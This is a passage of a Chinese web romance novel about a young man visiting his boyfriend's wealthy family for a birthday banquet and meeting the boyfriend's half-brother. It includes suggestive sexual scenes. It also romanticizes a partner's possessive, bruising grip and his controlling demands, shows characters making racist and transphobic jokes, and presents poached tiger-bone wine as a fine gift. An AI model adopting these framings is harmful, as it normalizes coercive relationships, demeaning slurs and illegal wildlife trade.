他们接着拍摄,收工后,白芳邀请甄甄:“”这个月中下旬有一场时装周show,很多明星网红都会到场,我和团队也会去,你要不要去?我觉得你最近无论是网络热度,还是作品质量,都很不错,可以过去接触些品牌方,说不定还能接洽到一些商务。” 甄甄心动道:“具体是哪天?我20号生日,想跟对象一起过,要是撞日子的话就没办法去了。” 白芳惊讶道:“哟,你这生日挺凑巧,520啊,是很特殊,换我有男朋友,也要一起纪念。” “我还以为你也会说我满脑子都是情情爱爱不思上进。”甄甄有点儿不好意思。 白芳爽朗一笑:“这有啥?谁规定的搞事业就必须放弃情感生活?那人不活成个没有情绪的工作机器了,就跟方老板似的,日子过得还有什么意思?再说了,这圈子里的人要能连着两天睁开眼身边都是同一张脸,都能算是认真谈的,你和他们比起来简直再省心不过。” 她边说,边翻手机记录:“我看看时间哈……没事儿,21号才开场秀,就在上海,也不远,你过完生日再飞过去妥妥地来得及。” 甄甄算了下,觉得自己应该能当上时间管理大师,接受了白芳的邀请。 一想到能在现场看美女帅哥走红毯,甄甄就激动,以前哪有这么好的条件? 他把这消息分享给贺越邱,狗男人不解风情,只会炫耀自己作为雄性的求偶资本。 瓦瓦老公:你早说啊,这多简单,我带你坐巴黎时装周第一排去,那秃头总监还得谢谢我肯屈尊光临。 瓦瓦:<(`^?)> 瓦瓦:跟你们这些资本家没什么好说的。 转眼到贺父寿宴,贺越邱作为继承人,既然决定了要回去,就没有只在当天露个面的说法,提前一晚就带甄甄回了本家。 佣人来传消息时,贺风顺还在喂金鱼,听到他还带了对象回来,惊讶得手一抖,整包鱼食就全进了那几条锦鲤楼兰肚子里,撑得翻起鼓鼓的肚子。 他到耳顺之年,倒仍旧是精神矍铄,中气十足:“你说谁?贺越邱?就他这样的还能找到对象?” 贺风顺的妻子沈云,刚好从厨房出来,看到他叼着烟,皱着眉走过来,拿走按熄在石雕的烟灰缸里。 “都这个岁数了,你少抽点吧。阿岭工作那么忙,还要操心你这个老父亲,每天打电话回来叮嘱你戒烟戒酒。要是让他知道你一点都不听,到时候又要来唠叨我没监督好你。” 贺风顺哼了一声:“归根结底是因为你总要给他告密,不和我站在同一战线上,你这种举动就叫做背叛亲密战友。” 正说着话,贺越邱搂着甄甄,大马金刀地就进来了。 听着佣人们一连串的大少爷好,甄甄鸡皮疙瘩起一地:这还是新时代新社会吗,这不纯封建大家庭么?! 他也总算知道贺越邱是怎么养成这副唯我独尊的性格了,家里大得跟宫殿似的,佣人随叫随到地跟着伺候,纸醉金迷腐蚀人的意志啊,把一个社会主义好青年都给潜移默化成奴隶主了。 贺风顺听见动静,坐在沙发上往门口扭头一看,两个年轻人在佣人们的簇拥下走进来,一个就是他那人模人样的混账儿子,另外一个光看长相就知道是个听话乖巧的小男生,轻声细语地喊他叔叔,比那声不情不愿的爸听着可顺心多了。 贺风顺问完甄甄的名字,催促管家:“去,包个大红包来。” 说完又往贺越邱身后看了看:“你刚刚不是跟张妈说带对象回来了吗,人呢?” 贺越邱嗤笑一声,当着两个上世纪老古董的面,抓起甄甄的手十指相扣,又扭头结结实实地在他脸上亲了一口。 “你!你!”贺风顺一口气差点没上来,“我一枪毙了你!!” 沈云忙给他拍背:“你冷静点儿!不就是……不就是……亲嘴吗?年轻时什么大风大浪没见过!” 她也实在是说不出两个男人。 贺越邱满意地看着鸡飞狗跳的亲爹继母,持续捅刀:“这么大个人杵在这儿,见面红包都给了,人都该改口叫爸了,你来一句‘人呢’,你可真行。” 甄甄看贺父气的这样,心里有点没底,总不能六十大寿真的爆改驾鹤西去吧。 他悄声问:“真要改口吗?来之前没彩排过,我十几年没叫了,有点生疏。” 贺越邱挠着他手心,凑到他耳边:“不用,床上叫叫我就够了。” 甄甄瞥了眼暴怒的贺父,羞恼地拧了把贺越邱的腰肉,小声说:“你能不能正经一点!” 贺越邱提高音量,满脸不在乎:“没事儿,我找男的算什么,等他那宝贝儿子也找个男的,那杀伤力才大,一听到自己没孙子可抱,得直接气进火葬场吧。” 贺风顺胸口都疼,指着贺越邱吹胡子:“你少咒你弟弟!” 沈云看他们父子俩这么争争吵吵半辈子了,习惯地打圆场:“好了,你把小贺送国外的时候就该做好心理准备,塑料袋都能当性别的地方只是找个男的回家已经算精忠尽孝了。前两年老周的儿子也是去那儿留学,一毕业做完变性手术涂着口红踩着高跟鞋带个黑人回来,闹得人仰马翻,老周一开始也是气得寻死觅活,后来慢慢地不也就想通了吗。” 贺风顺让她这么一安慰,气又顺了不少。再看看甄甄,也是个齐齐整整的漂亮孩子,眼睛大,鼻梁高,皮肤白,个子苗条,性格也文静,除了性别不对,有点太瘦了,其他地方全都满足他对儿媳妇的期盼,再怎么也比周家那大老黑……该叫儿媳妇,还是女婿?…… 贺风顺咬咬牙,得了得了,就把甄甄当闺女养吧,横竖他还有个小儿子能传宗接代。 不然怎么办?他一把年纪了,要真整出个生儿育女的场面,那真是死了都没脸下去见祖宗! 贺风顺这么想着,又多看了两眼甄甄,越看越满意,心想也算他家门不幸生出个贺越邱这样的混球玩意儿,能找着对象就不错了,管他男的女的呢,还轮得到他挑人家? 沈云也让管家去拿了个红包,放了厚厚一叠钱,连带贺风顺的那份,和和气气地交给甄甄。 “我们也不知道你今天来,准备得不够充分,之后肯定要补一次正式的。你先在这住几天,到处逛逛,哪里不周到,你就跟阿姨说。社会在进步,叔叔阿姨没有那么封建老古板,只要你和小贺能看对眼,长长久久过日子,叔叔阿姨都是祝福的。” 甄甄很久没有得到过来自长辈的关怀,拿着两个沉甸甸的红包,有些手足无措。 “拿着吧,是该给你的。”沈云微微笑道。 她有岁数了,但仍旧透着种从容的优雅,也能从那双智慧的眼睛里,依稀瞥见年轻时的风采。 甄甄父母去世时也就是二十来岁,这么多年了,有关他们的样子,他早就记不清楚,也想不出来他们老去的模样。甄甄就看着沈云,看着贺风顺,想着如果爸妈还在,可能没有他们这么养尊处优通身贵气,但应该也是一对开明和善的小老头小老太太。 他眨眨眼,鼻尖微微泛酸,郑重地点点头:“嗯,谢谢……叔叔阿姨。” 贺越邱从进门,就没掩饰过对这两人的厌恶,但碍着甄甄,倒也没发作,只是在见过面后,就借口开车累了,拉着甄甄回自己以前住的房间。 一背过人,甚至还没走远,沈云和贺风顺都能听见,贺越邱就毫不避讳地说:“两夫妻一个唱红脸一个唱白脸,都他妈笑面虎吃人不吐骨头,你还乐呵呵呢,要落他们手里,不脱层皮都是轻的。” 甄甄知道贺越邱和家里人关系不好,但两个人一见面就给了他大红包,态度也很友善,就算真是有钱人的虚伪,他也实在不好在人家里当面说坏话,就只拉拉贺越邱小臂,哄着男朋友:“哎呀,别气了,我们一会儿坐下来数红包,你一半我一半。” 贺越邱这种人就是得顺毛捋,这么漂亮一老婆,拿到红包了还跟自己分,他哪儿还有空管那对夫妻,搂着甄甄就亲个没完:“我得多不是东西,才拿老婆零花钱用?要有男人混成这样,真活该让人看不起。” 甄甄像叼着心爱玩具的小狗,只差没抖着耳朵,两眼亮晶晶地:“那这些都是我的!” 贺越邱见他这样儿,美得像找不着北的昏君:“你的你的,我挣的钱,连着老东西以后死了留下的遗产,都是我宝贝儿老婆的。” 贺风顺气得手都在抖,指着贺越邱离开的方向:“你听听这是人话!他老子还没死,就惦记上遗产了!” 沈云慢悠悠地喝着茶,瞥他一眼:“我倒是觉得小贺这句话没什么问题。怎么了,老贺,你舍不得给老婆花钱啊?” 贺风顺尴尬地笑着,赶紧贴上去找补:“那不能啊,这臭小子能说出这么有道理的话,都是我遗传他的。” 贺越邱的房间在二楼最里面,是间坐北朝南、带卫浴阳台的大一室,虽然已经很多年没回来住过,但佣人依旧每天都会过来打扫,随时都能住人。 进门左手边摆着个拳击桩,墙上贴满橄榄球巨星签名海报,靠墙放了张两米多的大床,围过来一排金属书柜,连窗帘也是黑色的,整个风格就特别符合青春期男孩儿喜欢的类型。 甄甄进来第一眼就发出“哇”的惊叹,他刚要幻想贺越邱小时候会是什么样子,就被捏住脸颊打断:“打住,我就没有过什么可爱小正太的阶段,从小个子就是同龄人中最显眼的,初一就一米八了,你初一还没开始发育吧?” 甄甄拍掉他的手,揉揉被捏红的脸颊,不服气地说:“我上学早,初一也才十一岁,这个年龄的男孩子本来就没发育,有什么好攀比的!我十五岁就发育变声了,一点都不晚。” 贺越邱又去捏他喉结,勾着唇角,笑得有点坏:“没感觉你发育得多好,这儿小,那里也……顶急了哭着喊哥哥,跟女孩儿似的。” 甄甄又羞又气,急得一口咬他手上。 贺越邱挑着眉,纵容他咬,就当给换牙期的小狗当磨牙棒。 “笃笃”。佣人小心翼翼地敲门,轻手轻脚地进来换新晒好的干净被套。 她手脚麻利,很快就弄完了,也没打扰他们,抱着旧床单正要退出去,贺越邱忽然叫住她问:“二少爷明天才回来?” 她答应:“是,他今晚有一台手术,下午就打电话知会过先生太太,会明天晚一点回来。” “行,你去吧。” 甄甄坐到刚铺好的被褥上,软绵绵的,散发着阳光的味道。 他好奇道:“你弟弟是医生啊?” 贺越邱走过来,伸出拇指,摩擦着甄甄湿润的嘴唇:“姓方的当时挑拨离间,是不是说我和家里关系没那么糟,老东西都把家产留给我了?呵呵,他懂个屁,要不是那野种自己不愿意进公司,非跑去学医,这份家业能这么轻松落到我头上?不还是得跟那些家里一堆婚生私生兄弟姐妹的一样,挣个你死我活头破血流的。” 甄甄拍开一次,贺越邱又来摸他的嘴唇,他就不管了:“那他理想还挺崇高的嘛,不跟你抢,也是好事。” 贺越邱忽然用力,甄甄吃痛地轻喊了声,不高兴地咬他,在手指上留下湿痕。 “你干嘛啊。” “你离他远点儿。”贺越邱冷笑道:“那傻逼就是朵黑心莲,表面上装得不争不抢,最会背地里使绊子。要不是他,我也不会初中就被老东西送到国外自生自灭,搁那人生地不熟的鸟地方读完本硕才回来。” 甄甄知道国外种族歧视问题很严重,就算贺越邱带点混血,家里又有权有势,毕竟不是当地族裔,肯定会受到影响。 况且那些地方大多不禁枪不禁毒品,大人尚且要倍加小心,何况彼时还是正值青春期的贺越邱,荷尔蒙旺盛,要是遇到仇家使坏,随便做点手脚,就有可能把他拉下水,一辈子也爬不上来。 甄甄光是想想,就后背发冷,忙撇开这个话题,拉着贺越邱一起躺下,拱进他怀里蹭了一通,睁着圆润的眼睛,轻声说:“好了好了,他们不心疼你,还有我呢。” 贺越邱抓着他的手,狠狠亲了口:“小騒宝贝。” 甄甄羞得推了推他,赶紧抽回来,闲聊着天。 “你不是说沈阿姨是后来的吗,可我听贺叔叔叫她云姐,怎么她还比贺叔叔要大呢?” 贺越邱的表情变得很可怕,眼神沉下来,一点笑意也没了。 他一字一句地,冷冷道:“因为这对老鸳鸯够不要脸,当姐姐的趁妹妹尸骨未寒,就勾搭妹夫,还生下来那么个野种。贺家几代的脸都让他们丢尽了,我也永远不可能替我妈原谅这一家三口。” 甄甄还没见过贺越邱这样,满身的戾气,说出的话都带着一种刻骨的恨意。他后悔自己为什么要提起来,让贺越邱又想起,小声地喊着哥哥,去亲他的喉结,用软软的头发蹭他下巴。 “没事儿,你老公心理没这么脆弱。”贺越邱扣住甄甄的腰,声音低沉,胸腔仿佛都在震动,刻意凑近了说:“不过用你另外一张嘴亲我的话,我觉得我会更舒服一点。” 甄甄听得脸红心跳,立刻一巴掌推他脸上:“贺越邱!这是你父母家!” 贺越邱滚动着喉结,抓住他的手,在掌心里舔了下。 “你忍着别跟个小母猫一样叫唤得满院都听见,谁能知道?” 甄甄羞得深深埋着头,呜咽一声。 贺越邱拍了下他屁/股,难耐地催促道:“快点儿,坐上来。”—— 作者有话说:我一滴也榨不出来了[小丑] 但终于写到这神秘男子了[星星眼] 第26章 第 26 章 “你在看什么?!我才是…… 二十七八的男人正值人生的高峰期, 拥有永远也使不完的精力,热热燥燥的,轻轻一点, 整个夜晚就开始燃烧。 甄甄软得坐不住, 脸枕在手臂上, 白腻得像融化的奶油, 他微微地张开唇瓣, 小口小口地呼吸,汲取着一点微末的凉意。 他贴着贺越邱的唇,被滚烫的呼吸裹挟着,怎么都逃不开。 直到甄甄哭得都快脱水了, 贺越邱才终于放过他, 后怕地把自己完全缩成一团, 抽泣着, 连手指尖都在微微发抖。 反观贺越邱吃饱喝足。 他神清气爽地一把捞起甄甄去了浴室,中途还很恶劣地把花洒开到最急,看甄甄被冲得像暴雨里的花朵般东倒西歪, 单精神上就愉悦舒爽到极点。 欺负过瘾了,贺越邱才勉强放过他, 满足地哼着歌,对着镜子刮新长出的胡茬。 甄甄缩在床上呜呜地哭,贺越邱摸着光洁的下巴, 大步走近, 屈膝压上来。 甄甄马上就想躲,他勾起唇,恶劣地拍了下,故作不满地说:“真娇气。” 甄甄腹心一松, 咕嘟……他立刻耻得手指尖都红了,爬进被子里,把自己全裹起来。 贺越邱磨了磨犬牙,心里痒得厉害,把甄甄连人带被子抱进怀里,用刚刮过的下巴去蹭他脸,把娇嫩的皮肤刮得通红。 甄甄推搡着,但浑身都是软的,贺越邱动着胸肌,抓住他的手感受,享受道:“你像不像张开爪子踩奶的小猫?” 甄甄羞耻爆表,红着脸锤他。 两个人腻腻歪歪的,安稳睡到清早。 天还没怎么亮贺越邱就起床了,轻手轻脚收拾好,先下楼到宴会厅点卯,快九点才又回来。 正好甄甄也醒了,在穿衣服,打着哈欠、睡眼惺忪地,好像要没人拎着后领子,下一秒他就要困得栽倒下去。 贺越邱站在门口看了会儿,嘴角不自觉地挂上微笑,在甄甄快栽到被子上时才走过去,掐住他的下巴,把人轻轻往上抬。 “困就再睡会儿?” 甄甄上下眼皮子打架,嘴角往外冒着瞌睡泡,但还是艰难地同回笼觉做斗争,慢慢摇着头说:“不行……今天是贺叔叔生日,我要早点去。” 贺越邱是厌烦父亲,换成其他人敢在自己面前反复提,他早就已经翻脸发火,关系再好的朋友也不行。 可甄甄不一样。他知道甄甄是考虑到自己和家里人恶劣的关系,想要缓和,才在贺风顺和沈云面前争取好印象,虽然这样做只是无用功,他绝不可能同这对夫妻和解,但心里一角还是为之柔软。 贺越邱低头,咬了咬甄甄的鼻尖,帮他穿好衣服。 又等他洗漱,靠在卫生间门边,看着镜子里的困困小狗吐白泡泡。 “一会儿宾客到齐了,我带你挨个见见,好让他们知道你是谁的老婆,谁名下有什么潮服珠宝的,都来找你拍广告。” “我上一次看这种剧情,还是宴席上当众宣布真少爷回归,土不土啊。”甄甄吐掉牙膏,边喝漱口水,边含糊不清地说:“我不想跟这些生意场上的人打交道,给贺叔叔送完生日礼物后就去后花园逛逛,你一会儿自己去应酬吧。” 贺越邱挑眉:“真不去?之前不是还听方寸行的,以为我不乐意给你名分,一个人躲外面哭成个小花猫吗?” 他调侃完,趁甄甄发火前,又正色道:“我认真的,你知道我身份比较特殊,往国外飞都是要向上面报备的,没办法和你在外国领证结婚,再说就算真能,那玩意儿放国内也没任何法律效应。况且就那么个红本子,有什么安全感?财产公证,家族公开……我能给你的保障,远比一张盖了戳的纸更够资格。” 贺越邱叫着甄甄的名字,一错不错地盯住他的眼睛:“不管你相不相信,我贺越邱这辈子,都只会有你一个人。” 甄甄让他说得有点受不了,羞涩地撇开眼,心脏跳得飞快。 半响,才挤出点声音:“突然搞这么正式干什么……哎呀,好了,那事都过去了,我没放在心里。就算还有一点介意,你现在的话,我也都听到了。我明白你的心意,我的心也就宽敞了。” 贺越邱走到甄甄面前,牵住他的手,眼神微动,藏着深情的光:“我早就做好了告知全世界你的存在的准备,只要你愿意。” 甄甄微微一笑,踮起脚,吻他的唇。 “我知道。但我不想让太多人打扰我们的感情。” 贺越邱脸色有着细微的变化,但甄甄接吻时习惯闭上眼,等他再睁开,也就错过了。 “你不喜欢就算了,我带你见见族亲吧,这些都算家里人。” 甄甄听他这么描述,有一点不好意思,那这和跟着老公回家见亲戚谈婚论嫁有什么区别呀,他昨晚还收了他爸爸妈妈的见面红包呢。 甄甄脸烧得慌,他一个男生,怎么会冒出这么封建、这么荒唐的想法。 可是…… 甄甄偷偷看了贺越邱一眼,暗暗牵紧,心想,可他本来就是他的妻子。 甄甄拉拉贺越邱的手,让他把头低下头,他有话要说。 贺越邱俯身,笑道:“怎么了?” 甄甄凑过去,小声又飞快地说了句话,一说完就臊得手都不敢再牵,耳朵红得滴血。 贺越邱第一下怔住了,回过劲后,血丝爬上眼球,喊住甄甄让他别跑—— 去他妈的寿宴,他现在只想翻来覆去地欺负他,逼他把那句话再多说几遍。 甄甄跑到一楼,他喘着气,平复心情,等着贺越邱过来。 贺越邱追上来,拉住甄甄的手,狠狠地捏了下:“你自己撩的火,看我晚上怎么收拾你。” 甄甄被男人手心的温度烫得哆嗦,开始后悔。 贺越邱抱着甄甄亲了好一会儿,勉强过了过干瘾,才不情不愿地带他去见贺风顺。 贺父打扮得精神抖擞,染着一头黑发,深邃硬朗的眉眼间能看出来几分混血感。他虽然有点年纪了,但保养得当,体态挺拔,光看现在都挺有魅力,年轻时也不知道是多少小姐的梦中情人。 这对父子其实无论五官还是身形,都像从一个模子刻出来的,但这话甄甄可不敢说出来,不然贺越邱要闹翻天了。 他把准备好的礼物送给贺风顺,是托戴维从他广东老家弄的虎骨酒,据说是那些年的偷猎者私下弄来的,拿几十味中药泡上,有一甲子了,内服生龙活虎外敷强筋壮骨,放在族长那里,只有族里德高望重的人才能按例分到。 戴维是他老李家第十八代长子长孙,简单来说,族长是他爷爷。所以甄甄说想买名酒送礼时,他监守自盗,偷摸抱了一罐,不要钱免费给了。 贺风顺大老远就闻到药酒香味,不用尝都知道是好东西,喜得抱着酒坛子不撒手,再也不提儿子带回来个男人这事了,连带着贺越邱都看顺眼不少。 ——怪不得人人都想要个儿媳妇呢,这是多细心,多孝顺。 贺越邱见不得他爹高兴,嗤笑道:“多喝点,到时候给老二生个妹妹,明年的今天再办个满月酒。” 沈云面露尴尬,贺风顺放下酒坛,抄起首饰盒就往他身上砸,骂道:“我看你是皮痒了,给我放尊重点!” 贺越邱眼睛都没眨一下,只是抬手护住甄甄,那首饰盒擦着他的头发掉在地上。 甄甄担心地要检查他伤没伤到。他现在懂了,贺越邱的脾性完全继承了他的父亲,谁说这对父子素来生疏,他们分明就是有样学样。 沈云忙拉住贺风顺:“甄甄还在呢,你就不知道忍耐点。” 东西脱手时贺风顺就有点后悔了,他是瞄着贺越邱去的,但谁也说不准,万一真伤到甄甄呢,当着儿媳妇的面动手吵架也不是多光彩的事,显得他家风不正。 但大家长的架子摆惯了,当着贺越邱的面又拉不下脸,只狠狠锤了下桌子,指着他说你存心要气死我。 贺越邱碍着甄甄,不想吵得太过分,忍了又忍,拽着他转身走了。 走廊上,甄甄安慰道:“早知道就不过来送礼物了。” 贺越邱压下怒气,不想把对贺父的情绪带给甄甄,笑道:“和你没关系,他就是看我不顺眼。” 甄甄也不好再说什么了,他是想父子俩可以缓和关系,但说到底这是贺越邱自己的事,要以贺越邱的想法为主,他不会过度插手。 最重要的是,他也并不想为了所谓的合家欢大团圆,而无视贺越邱在这个家里受到的委屈,这是一种很残酷的伤害。 见完族亲后,甄甄说:“你先去忙吧,我去花园里逛逛。” 贺越邱却带他回房间,让他就在这里等自己。 “外面人多眼杂,我怕忙起来顾不上你。” 甄甄好笑道:“我又不是需要监护人的小孩子。” 贺越邱也没多解释,只说开宴席时他再来带他下去。 甄甄没想太多,人生地不熟的,他待在哪儿都一样。 现在是上午十点多,贺越邱和贺父等正在接待络绎不绝前来贺寿的宾客,有钱人虚伪的客套和笑声透过几个大厅都能清晰地传到甄甄耳边,让他更加厌烦这种名利场合。 说到底,这些名流权贵们见面时的八面玲珑、互相吹捧,和居民楼下邻居见面打招呼时“吃了没”、“接孙子放学”,没什么区别,大家都只是在应付关系一般的熟人罢了。 “贺总真是年少有为”,难道就比“你小时候我还抱过你呢”更真诚吗。 甄甄觉得他还不如去阳台,看看花开得艳不艳。 “嗯?” 甄甄刚走过去,就看到花园的喷泉池边有只雪白色的小狗在伸着舌头喝水,一时愣了下。 就脚那么大点儿,毛蓬蓬的,像堆起来的雪,看品种应该是只马尔济斯小体。 可是,哪儿来的小狗? 贺越邱不是对猫狗毛发过敏吗?他家里怎么会养狗? 甄甄忽然察觉到这个家里对贺越邱若有若无的排斥,这里虽然还留着他的房间,佣人也天天来打扫,可同时,他们也养着绝对没办法与贺越邱和平相处的宠物。 正常人家里,他想,应该是不会让过敏源与家人共处一室的。 正想着,那只小狗忽然慌乱地汪汪叫起来,甄甄回神,看到它跌进水池里,立刻睁大了眼,转身就冲下楼,一路跑到花园里,把小狗从水里捞出来。 “呜呜……” 这种体型的小狗一受惊就会抖个不停,紧紧抓着甄甄的衣服,可怜兮兮地叫唤着。 甄甄的胸口还在快速起伏着,他抱着小狗,过了一会儿,才渐渐冷静下来。 那现在怎么办?把它交还给谁呢? 正胡乱想着,一句磁性的“谢谢”打断思路,戴着黑色皮革手套的手伸过来,说:“把它给我吧。” 看到主人来,小狗叫声激动了些。 甄甄说着好,抬头看去,却忽然愣住。 已经是初夏,可眼前的男人却穿着高领毛衣,风衣长裤,一身都是黑色,裹得严严实实。 最让人惊讶的是,他和贺越邱有着八分相似的外貌,深眉浓眼,颌线锋利,连身高都相差无几。 尤其是那双混着外国血统的褐色眼睛,就像是同一批次的产品,即使是和贺越邱同床共枕、比世界上任何一个人都更熟悉他的甄甄,也根本分辨不出来两者间有什么差别。 他只能从气质上分辨。 贺越邱整个人从里到外都透露着一种极具攻击力的野性,危险警报拉到最满;但眼前的这个男人却完全相反,那双藏在金丝边框后的眼睛斯文沉静,无论眼神,还是说话的语气,都让人如沐春风。 外形上最不一样的是肤色,贺越邱偏向南美球星的那种深,而男人有一种不见天日的苍白,就和常年坐办公室的方寸行一样,带着种不健康的、有些病态和阴冷的感觉。 甄甄愣愣地,任他接走浑身湿透的小狗:“你是……” 男人笑了一下,正要开口,被一声暴喝打断:“你他妈离他远点儿!” 两个人都循声看去,甄甄还没反应过来,就被攥着手腕,拉扯到后面,被高大宽阔的背影挡去视线。 贺越邱面色阴沉,冷冷地看着对面的人,一字一句道:“贺过岭,别让我说第二次,带上你的狗,有多远滚多远。” 男人也不计较,对甄甄点点头,淡淡一笑,抱着惊恐的小狗离开了。 甄甄于是知道了他就是沈云口中的“阿岭”,也就是贺越邱同父异母的弟弟。 他们有着同一个父亲,母亲又是亲姐妹,怪不得这样像,简直是双胞胎。 甄甄正看着,手腕忽然一痛。贺越邱回过头,眼神堪称恐怖,用力地攥着,阴森森地说:“你在看什么?我才是你男人。”—— 作者有话说:好啊好啊终于爽了[坏笑][坏笑][坏笑] 牛弟是想喊嫂子的,被打断了 甄甄对老公说的那句话,你们自行脑补吧[坏笑][坏笑] 第27章 第 27 章 “那不一样!方寸行和贺…… 甄甄从来没在贺越邱脸上看到过如此可怕的表情, 他先是愣了一下,手腕上传来火辣辣地痛感时,才后知后觉地回过神。 贺越邱的手就像铁钳一样紧紧禁锢着他, 怎么挣扎都不为所动。 “有什么事好好说, 你先放开我!” 贺越邱置若罔闻, 只是用力的握紧, 像是要把那截细腕折断。 他一动不动地盯着甄甄的眼睛, 阴森森地说:“离刚刚那个人远一点,别跟他接触。” 甄甄痛得泛起生理性眼泪,声音都变了调:“我知道了!你先松开!” 贺越邱如梦初醒般,放松了力道, 改成牵着。他低头看去, 雪白的手腕上一圈可怖的青紫。 他知道自己手劲有多大, 回过劲后, 又后悔,拉到嘴边轻轻吹气,放缓声音哄道:“还疼吗?对不起宝宝, 我刚刚……没控制住。” 甄甄气恼地狠狠掐了下贺越邱:“你是不是疯了,我一直在喊痛, 让你放开我,你就跟没听到一样!” 贺越邱道着歉,甄甄却不依, 追问道:“你到底怎么了?从早上就不对劲, 现在还一副听不进话的样子,是在这里待得难受?早知道不该让你带我回来,你一对上家人,就跟完全变了个人似的。” 这些话说完, 甄甄又觉得不能把贺越邱逼太紧,气过之后,语气又软了下来:“实在厌烦的话,宴席结束我们就走吧,回自己家里就好了。” 他太善解人意,贺越邱反而不知道该怎么回答,也不愿过多提起家里这些乱七八糟的事,垂下眼眸,避开那股担忧的视线,含混道:“没什么……我和贺过岭从小就不对付,那不是个好东西,最会背地里耍阴招,我不想你跟他走太近。” 甄甄听完解释,忍不住笑了,搞半天原来是在吃醋:“就这点事儿啊,我以为你们兄弟俩有什么血海深仇呢。你放心吧,除了你,我和贺家其他人都没多大关系。” 贺越邱有点不满地轻轻捏了下甄甄手心:“谁跟他是兄弟,那就一傻逼黑莲花,也就骗骗你这种对人类不设防的单纯小狗。” 甄甄对贺过岭的第一印象却正好完全相反,那是个挺斯文知礼的年轻人,但既然贺越邱和弟弟有矛盾,他肯定是要偏帮着自己男朋友的,答应道:“好,我不跟你讨厌的人玩,行了吧?幼稚鬼。” 贺越邱这才满意,看到甄甄被那只破狗弄湿的衣服,又皱起眉,拉着他的手往回走:“赶紧换件干净衣服。要是一会儿吹风受了凉,又要生病。” 甄甄哼了一声:“你现在倒是知道担心了。” 这么一番折腾后,宴席已经快开始,贺越邱作为继承人,即使再不情愿,也要和贺风顺、沈云一起应酬宾客,等他能安安心心坐下来还不知道要多久,便让甄甄不用等他。 把人送到内厅之前,还没忘记叮嘱:“要是遇到那野种,你别搭理。” 甄甄好奇道:“他不跟你们一起去吗?” “人可是悬壶济世的神医,就过来点个卯,下午又要赶回医院做手术,老东西哪儿舍得让他宝贝儿子累着,估摸抱着他那破狗在哪里躲清闲吧。”贺越邱一副贬低的语气。 甄甄怕他说着说着又给自己说生气了,趁着周围没人看见,踮脚亲一口,哄小孩一样:“好了好了,你先和贺叔叔去吧,别喝太多酒,不然回去要难受。” 贺越邱搂过他的腰,把左边脸露出来:“老婆,我这边脸也要。” 甄甄推他一巴掌:“得寸进尺!” 又黏糊一会儿,贺越邱才恋恋不舍地转身走开。 甄甄走进内厅,这间坐的都是贺家族亲,他上午被贺越邱带着都见过了,看到他来都热情招呼,几个保养得当的贵妇人争先拉着他手,要他坐到自己身边。 甄甄就像陷入花丛里的蝴蝶,迷失在一片珠光宝气之中。他是不喜欢虚伪的社交场面,可谁能拒绝有钱人的情绪价值呢! 这时,门口忽然又走进来一个人,语气亲和:”我来晚了,大家见谅。” 他单手抱着一只雪白的小狗,看到人多,也跟着“汪汪”两声。 甄甄回头一看,晕乎乎的脑袋瞬间清醒大半,这,这怎么会是…… 一个姑姑辈的贵妇人朝他招招手:“阿岭来坐这儿——这是你哥的男朋友,你们见过吗?” 甄甄想起贺越邱的话,马上就想起身换个方向,但贺过岭迈着长腿,已经走到他旁边的空位坐下了,先是回姑姑:“见过了。” 又看向甄甄,笑盈盈地说:“嫂子。” 甄甄顿时红了脸,他没想过自己会被一个成年男人叫这么……的称呼,可于情于理又没叫错,踌躇着是否该应下。 倒是贺过岭似乎发现了他的窘迫,主动解围道:“你看起来比我小,我还是直接叫你名字吧。” 甄甄马上问:“你多大啊?” 姑姑笑道:“他就比阿邱小两岁,今年26吧?这么说还真是比你大。”说着又八卦道:“阿岭谈女朋友没?你哥的终身大事解决了,你也得加把劲。” “阿邱”两个字一说出来,甄甄差一点就笑出声,狠命抿唇忍住了,还偷偷看一眼大家有没有注意到他,却正好对上贺过岭的视线。 只听他对姑姑说:“暂时还没有这个打算。但如果遇到合适的,也会试着争取。” 又对着甄甄,笑道:“这下真是不知道该怎么称呼了。” 甄甄也没想到贺过岭比他还大五岁:“甄甄,瓦字部的甄。你直接叫我名字就好。” 贺过岭点点头:“甄甄。好特别的名字。” “谢谢。” 贺过岭低下头,摸着小狗的脑袋,温声道:“真巧,它的名字也是这个音。不过它叫珍珍,珍珠的珍。” 小狗仰着下巴,因为洗过澡,浑身毛发焕然一新,脑袋上还扎了个苹果头,别着明黄的星星发夹。 它就那么小一点儿,踩在贺过岭的大腿上,人立着整个都往主人手掌里凑,被那干燥的抚摸舒服得眯起黑豆眼睛,雪球似的尾巴也摇个不停。 甄甄眼热:“是小马吗?” 贺过岭挠挠小东西下巴:“小马弟弟。” 甄甄的目光完全随着小狗在动,这真是他见过最活泼可爱的小狗,看得心都化了。 贺过岭忍俊不禁,双手拎起小狗,露出粉色的圆鼓鼓肚皮,送到甄甄面前:“它好像也很喜欢你。” 话音刚落,珍珍就朝甄甄兴奋地摇晃尾巴,歪头吐舌,做了一个wink。 “!” “它好可爱!” 这么小的东西,连抱都怕抱疼它,甄甄小心翼翼地接过来,感受着小狗温暖的体温,一时都不太敢动。 反而是小狗热情地舔舐着他的手背,一个劲往他怀里拱,用湿润的鼻子发出嗯嗯的声音。 甄甄爱不释手,像抱着小宝宝那样,温柔地抱着小狗,用脸去蹭蹭它毛绒绒的脑袋。 贺过岭眼含笑意,看着甄甄和小狗互动。他俩挨在一起,栗色微卷的头发和雪白绒毛交融,看起来就像两只小狗在友好地嗅闻交换气味。 藏在皮革手套下的手指动了动,贺过岭温声道:“好可惜,我哥哥对宠物过敏,否则你就可以和他一起养一只。” 他提到贺越邱,甄甄才忽然想起自己答应过的话,他本意是想离这个人远一点的,可…… 甄甄低头,正好怀里的小狗也抬起头,用湿湿的黑豆眼睛全神贯注地看着他,圆润的嘴套扬起微笑的弧线,就像只纯白色的小天使,甄甄可以拒绝它的主人,却实在无法拒绝这么可爱治愈的小马弟弟。 再一想等宴席结束就要和贺越邱回去,抱不到这么可爱的小东西了,就更加没办法说服自己放下它。 甄甄轻轻捏着小狗山竹似的爪子,教它握手,玩得正高兴,忽然生出种如芒在背的感觉。 他猛地回头,贺越邱操着手靠在门边,目光阴沉沉地看过来,落在他和小狗接触的地方。 贺过岭也看到了他,微微一笑:“哥。” 甄甄捕捉到贺越邱耳根绷起的肌肉,似乎下一秒就会爆发,恨不得让贺过岭快别说了。 他赶紧把小狗还给贺过岭,起身走到贺越邱身边,本想牵住他的手,但想到自己刚刚才抱过宠物,就只小声说:“应酬完了吗?阿……你弟弟带了小狗来,我们别进去了,重新找一桌吃饭吧。” 